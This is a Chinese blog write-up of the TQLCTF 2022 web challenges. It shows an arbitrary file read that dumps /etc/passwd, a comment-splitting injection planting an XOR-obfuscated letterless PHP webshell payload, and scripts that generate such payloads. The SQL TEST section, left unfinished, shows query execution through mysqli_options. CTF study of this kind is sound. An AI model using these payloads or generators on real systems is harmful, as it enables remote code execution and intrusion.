Loading... # [TQLCTF2022] web复现 > **复现环境:**[https://www.ctfer.vip](https://www.ctfer.vip) > > **复现内容:web部分** ## simple_bypass ### 信息收集  **打开题目,给了一个登陆和注册框,然后注册登陆进去**  **进去之后发现有很多功能,然后看了一下路由**`sandbox/c86e7ffb0cc363422be8104332c5385e.php`,估计是给每一个账号都分配了一个沙盒页面环境。 **然后接着测试里面的功能** > **图片** > >  > > **跳转到了百度图片** > **游戏** > >  > > **跳转到了4399** > **好看的** > >  > > **给了一张杰哥的图片,跟前几个非常不一样,所以抓一下包看看,是从哪里获取的资源** > >  > > [http://1.14.71.254:28618/get_pic.php?image=img/haokangde.png](http://1.14.71.254:28618/get_pic.php?image=img/haokangde.png) > > **可以看到。是通过get_pic.php页面传参得到的,这个有点像文件包含,看一下img/haokangde.png的写法是这么写的** > >  > > **可以看到,就是直接传入相对路劲就能进行获取,这样的话,我们可以试着包含index.php,以及当前的沙箱页面** > **你的网站** > >  > > **也是一个跳转,只不过是跳转的我们自己设置的url** ### 获取源码    **通过以上方法获取源码的base64编码值后解码如下** #### index.php ```php <?php error_reporting(0); if(isset($_POST['user']) && isset($_POST['pass'])){ $hash_user = md5($_POST['user']); $hash_pass = 'zsf'.md5($_POST['pass']); if(isset($_POST['punctuation'])){ //filter if (strlen($_POST['user']) > 6){ echo("<script>alert('Username is too long!');</script>"); } elseif(strlen($_POST['website']) > 25){ echo("<script>alert('Website is too long!');</script>"); } elseif(strlen($_POST['punctuation']) > 1000){ echo("<script>alert('Punctuation is too long!');</script>"); } else{ if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){ if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){ $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']); $template = file_get_contents('./template.html'); $content = str_replace("__USER__", $_POST['user'], $template); $content = str_replace("__PASS__", $hash_pass, $content); $content = str_replace("__WEBSITE__", $_POST['website'], $content); $content = str_replace("__PUNC__", $_POST['punctuation'], $content); file_put_contents('sandbox/'.$hash_user.'.php', $content); echo("<script>alert('Successed!');</script>"); } else{ echo("<script>alert('Invalid chars in website!');</script>"); } } else{ echo("<script>alert('Invalid chars in username!');</script>"); } } } else{ setcookie("user", $_POST['user'], time()+3600); setcookie("pass", $hash_pass, time()+3600); Header("Location:sandbox/$hash_user.php"); } } ?> <!doctype html> <html lang="zh"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Simple Linux</title> <link rel="stylesheet" type="text/css" href="css/styles.css"> <!--[if IE]> <script src="http://libs.baidu.com/html5shiv/3.7/html5shiv.min.js"></script> <![endif]--> </head> <body> <div class="jq22-container" style="padding-top:100px"> <div class="login-wrap"> <div class="login-html"> <input id="tab-1" type="radio" name="tab" class="sign-in" checked><label for="tab-1" class="tab">Sign In</label> <input id="tab-2" type="radio" name="tab" class="sign-up"><label for="tab-2" class="tab">Sign Up</label> <div class="login-form"> <form action="index.php" method="post"> <div class="sign-in-htm"> <div class="group"> <label for="user" class="label">Username</label> <input id="user" name="user" type="text" class="input"> </div> <div class="group"> <label for="pass" class="label">Password</label> <input id="pass" name="pass" type="password" class="input" data-type="password"> </div> <!-- <div class="group"> <input id="check" type="checkbox" class="check" checked> <label for="check"><span class="icon"></span> Keep me Signed in</label> </div> --> <div class="group"> <input type="submit" class="button" value="Sign In"> </div> <div class="hr"></div> <!-- <div class="foot-lnk"> <a href="#forgot">Forgot Password?</a> </div> --> </div> </form> <form action="index.php" method="post"> <div class="sign-up-htm"> <div class="group"> <label for="user" class="label">Username</label> <input id="user" name="user" type="text" class="input"> </div> <div class="group"> <label for="pass" class="label">Password</label> <input id="pass" name="pass" type="password" class="input" data-type="password"> </div> <div class="group"> <label for="pass" class="label">Your Website</label> <input id="pass" name="website" type="text" class="input"> </div> <div class="group"> <label for="pass" class="label">Your Punctuation</label> <input id="pass" name="punctuation" type="text" class="input"> </div> <div class="group"> <input type="submit" class="button" value="Sign Up"> </div> <div class="hr"></div> <div class="foot-lnk"> <label for="tab-1">Already Member?</a> </div> </div> </form> </div> </div> </div> </div> </body> </html> ``` #### sandbox/xxxx.php ```php 只提取了php代码部分 <?php error_reporting(0); $user = ((string)pysnow); $pass = ((string)zsfc86e7ffb0cc363422be8104332c5385e); if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){ echo($_COOKIE['user']); } else{ die("<script>alert('Permission denied!');</script>"); } ?> ``` #### get_pic.php ```php <?php error_reporting(0); $image = (string)$_GET['image']; echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode(file_get_contents($image)) . '" /> </div>'; ?> ``` ### 代码审计 > `get_pic.php` > >  > > **可以看到这里存在一个读文件的点,而不是文件包含,试着读取一下根目录** > > ``` > /etc/passwd > root:x:0:0:root:/root:/bin/bash > daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin > bin:x:2:2:bin:/bin:/usr/sbin/nologin > sys:x:3:3:sys:/dev:/usr/sbin/nologin > sync:x:4:65534:sync:/bin:/bin/sync > games:x:5:60:games:/usr/games:/usr/sbin/nologin > man:x:6:12:man:/var/cache/man:/usr/sbin/nologin > lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin > mail:x:8:8:mail:/var/mail:/usr/sbin/nologin > news:x:9:9:news:/var/spool/news:/usr/sbin/nologin > uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin > proxy:x:13:13:proxy:/bin:/usr/sbin/nologin > www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin > backup:x:34:34:backup:/var/backups:/usr/sbin/nologin > list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin > irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin > gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin > nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin > systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false > systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false > systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false > systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false > Debian-exim:x:104:108::/var/spool/exim4:/bin/false > > ``` > > **但是不知道flag所在的位置** > `sandbox.php` > >  > > **这里面没有啥,就一个验证登陆的点,可以看到这里的密码使我们注册是的哈希值应该,那么接着看注册和登陆的那个页面** > `index.php` > >  > > **总结一下:** > > * **用户名**长度不能超过6,且过滤了`[^\w\/\(\)\*<>]`,即空格,取反符,左右括号,左斜杠,星号,左右尖括号 > * **网站地址**长度不能超过25,且过滤了`[^\w\/\*:\.\;\(\)\n<>]`,即空格,取反符,左右括号,左斜杠,星号,左右尖括号,换行,冒号,点,分号 > * **描述**不能超过1000字,但只是过滤了字母数字,已经`>?`,且过滤方式为替换为空 > * **sandbox.php的部分内容可以控制,且网站地址过滤较强,用户名长度限制太短,然后预期应该就是往./template.html里面注入恶意代码然后执行,难点就在于绕过这些waf** **接着看一下template.html中关键部分** ```php <li><span class="adminImg"></span> <?php error_reporting(0); $user = ((string)__USER__); $pass = ((string)__PASS__); if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){ echo($_COOKIE['user']); } else{ die("<script>alert('Permission denied!');</script>"); } ?> </li> </ul> <ul class="item"> <li><span class="sitting_btn"></span>系统设置</li> <li><span class="help_btn"></span>使用指南 <b></b></li> <li><span class="about_btn"></span>关于我们</li> <li><span class="logout_btn"></span>退出系统</li> </ul> </div> </div> </div> <a href="#" class="powered_by">__PUNC__</a> <ul id="deskIcon"> <li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/></span> <div class="text">图片 <div class="right_cron"></div> </div> </li> <li class="desktop_icon" id="win6" path="http://www.4399.com/"> <span class="icon"><img src="../img/icon5.png"/></span> <div class="text">游戏 <div class="right_cron"></div> </div> </li> <li class="desktop_icon" id="win10" path="../get_pic.php?image=img/haokangde.png"> <span class="icon"><img src="../img/icon4.png"/></span> <div class="text"><b>好康的</b> <div class="right_cron"></div> </div> </li> <li class="desktop_icon" id="win16" path="__WEBSITE__"> <span class="icon"><img src="../img/icon10.png"/></span> <div class="text"><b>你的网站</b> <div class="right_cron"></div> ```  **正常情况下想要在里面写马只需要在用户名那里构造,密码那里不能控制,但是用户名那里过滤太严了,很显然单靠用户名是不可能的,所以考虑到用上**`__PUNC__`和`__WEBSITE__` **那么要如何利用呢,可以在用户名那里写半个多行注释符,再在后面的**`__PUNC__`或者`__WEBSITE__`使用半个注释符进行闭合,然后构造恶意代码,再在最后使用半个多行注释符把后面注释掉 **理论存在,后面就是看选择**`__PUNC__`还是`__WEBSITE__`,`__WEBSITE__`过滤掉了常规的符号,比如说分号和点,所以想个构造起来就非常麻烦了,然后再看`__PUNC__`,他虽然过滤了数字字母,但是大部分的符号没有过滤,而且无数字字母也可以getshell,所以果断选择在`描述`里面构造代码 **最后写出payload如下** ``` username: p/* passwd: 任意 website: 任意 Punctuation: */); PAYLOAD /* ``` ``` payload异或自增都可 $_='($((%-'^'[][\@@';$__='#:%('^'|}`|';$___=$$__;echo $___;$_($___['!']); ```     **下面贴出我自己改良版的脚本** ```php <?php $myfile = fopen("xor_rce.txt", "w"); $contents=""; for ($i=33; $i < 126; $i++) { for ($j=33; $j <126; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[a-z,A-Z,0-9>\?\'\"]/i'; // 根据题目给的正则表达式修改即可 if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))) { echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)^urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile); ``` ```python import urllib.parse def action(arg): s1 = "" s2 = "" for i in arg: f = open("view_dict.txt", "r") k = f.readlines() for t in k: if t == "": break if t[0] == i: s1 += urllib.parse.unquote(t[2:5]) s2 += urllib.parse.unquote(t[6:9]) break f.close() output = "\'" + s1 + "\'^\'" + s2 + "\'\n" return output while True: param = action(input("\n[+] your function:")) + action(input("[+] your command:")) print(param) ``` **此脚本可根据题目需要任意修改** ## SQL TEST > **复现环境:**[https://www.ctfer.vip/#/problem/1889](https://www.ctfer.vip/#/problem/1889) > > **题目环境:** > > **mysql8** > > **php7.4** > > **apache2.4** > > **题目附件** > > ```php > <?php > namespace App\Controller; > use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; > use Symfony\Component\HttpFoundation\Response; > use Symfony\Component\Routing\Annotation\Route; > use Symfony\Component\HttpFoundation\Request; > class TestController extends AbstractController > { > /** > * @Route("/test", name="test") > */ > public function index(Request $request): Response > { > $con = mysqli_init(); > $key = $request->query->get('key'); > $value = $request->query->get('value'); > if (is_numeric($key) && is_string($value)) { > mysqli_options($con, $key, $value); > } > > mysqli_options($con, MYSQLI_OPT_LOCAL_INFILE, 0); > if (!mysqli_real_connect($con, "127.0.0.1", "ctf", "gmlsec123456", "mysql")) { > $content = '数据库连接失败'; > } else { > $content = '数据库连接成功'; > } > mysqli_close($con); > return new Response( > $content, > Response::HTTP_OK, > ['content-type' => 'text/html'] > ); > } > } > ``` **从题目给的代码可以发现,这是一个Symfony框架,且给了我们一个TestController控制器,且对数据库进行了操作,其中我们能控制**`mysqli_options($con, $key, $value);`函数,查阅官方文档  **可以看到有以下这些选项可以设置,但是我们的可以控制的key必须是int类型,所以就需要用整数代替,可以使用跟题目相同php版本的环境查看一下这写选项的数值** | **名称** | **描述** | | ----------------------------------------- | ----------------------------------------------------------------------------------------------- | | **`MYSQLI_OPT_CONNECT_TIMEOUT`** | **连接超时设置,以秒为单位(在 Windows 平台上,PHP 5.3.1 之后才支持此选项)。** | | **`MYSQLI_OPT_LOCAL_INFILE`** | **启用或禁用**`LOAD LOCAL INFILE`语句 | | **`MYSQLI_INIT_COMMAND`** | **成功建立 MySQL 连接之后要执行的 SQL 语句** | | **`MYSQLI_READ_DEFAULT_FILE`** | **从指定的文件中读取选项,而不是使用 my.cnf 中的选项** | | **`MYSQLI_READ_DEFAULT_GROUP`** | **从 my.cnf 或者****`MYSQL_READ_DEFAULT_FILE`**指定的文件中 读取指定的组中的选项。 | | **`MYSQLI_SERVER_PUBLIC_KEY`** | **SHA-256 认证模式下,要使用的 RSA 公钥文件。** | | **`MYSQLI_OPT_NET_CMD_BUFFER_SIZE`** | **内部命令/网络缓冲大小, 仅在 mysqlnd 驱动下有效。** | | **`MYSQLI_OPT_NET_READ_BUFFER_SIZE`** | **以字节为单位,读取 MySQL 命令报文时候的块大小, 仅在 mysqlnd 驱动下有效。** | | **`MYSQLI_OPT_INT_AND_FLOAT_NATIVE`** | **将整数和浮点数类型的列转换成 PHP 的数值类型, 仅在 mysqlnd 驱动下有效。** | | **`MYSQLI_OPT_SSL_VERIFY_SERVER_CERT`** | |  | **名称** | **描述值** | | ----------------------------------------- | ------------ | | **`MYSQLI_OPT_CONNECT_TIMEOUT`** | **0** | | **`MYSQLI_OPT_LOCAL_INFILE`** | **8** | | **`MYSQLI_INIT_COMMAND`** | **3** | | **`MYSQLI_READ_DEFAULT_FILE`** | **4** | | **`MYSQLI_READ_DEFAULT_GROUP`** | **5** | | **`MYSQLI_SERVER_PUBLIC_KEY`** | **35** | | **`MYSQLI_OPT_NET_CMD_BUFFER_SIZE`** | **202** | | **`MYSQLI_OPT_NET_READ_BUFFER_SIZE`** | **203** | | **`MYSQLI_OPT_INT_AND_FLOAT_NATIVE`** | **201** | | **`MYSQLI_OPT_SSL_VERIFY_SERVER_CERT`** | **21** | **可以看到这里有一个能够执行sql语句的点**  **且其整数值为3,下面直接传参试一下,因为是无回显,所以只能使用延时来判断回显**  **成功执行命令,然后测试了一下,大部分** **没写完,留个坑** ## network tools ## Securer Pastebin [**\w\/\(\)\*<>**] ** ** 最后修改:2022 年 07 月 25 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,请随意赞赏 本文作者: pysnow 文章标题:TQLCTF 本文地址:https://pysnow.cn/archives/132/ 版权说明:若无注明,本文皆Pysnow's Blog原创,转载请保留文章出处。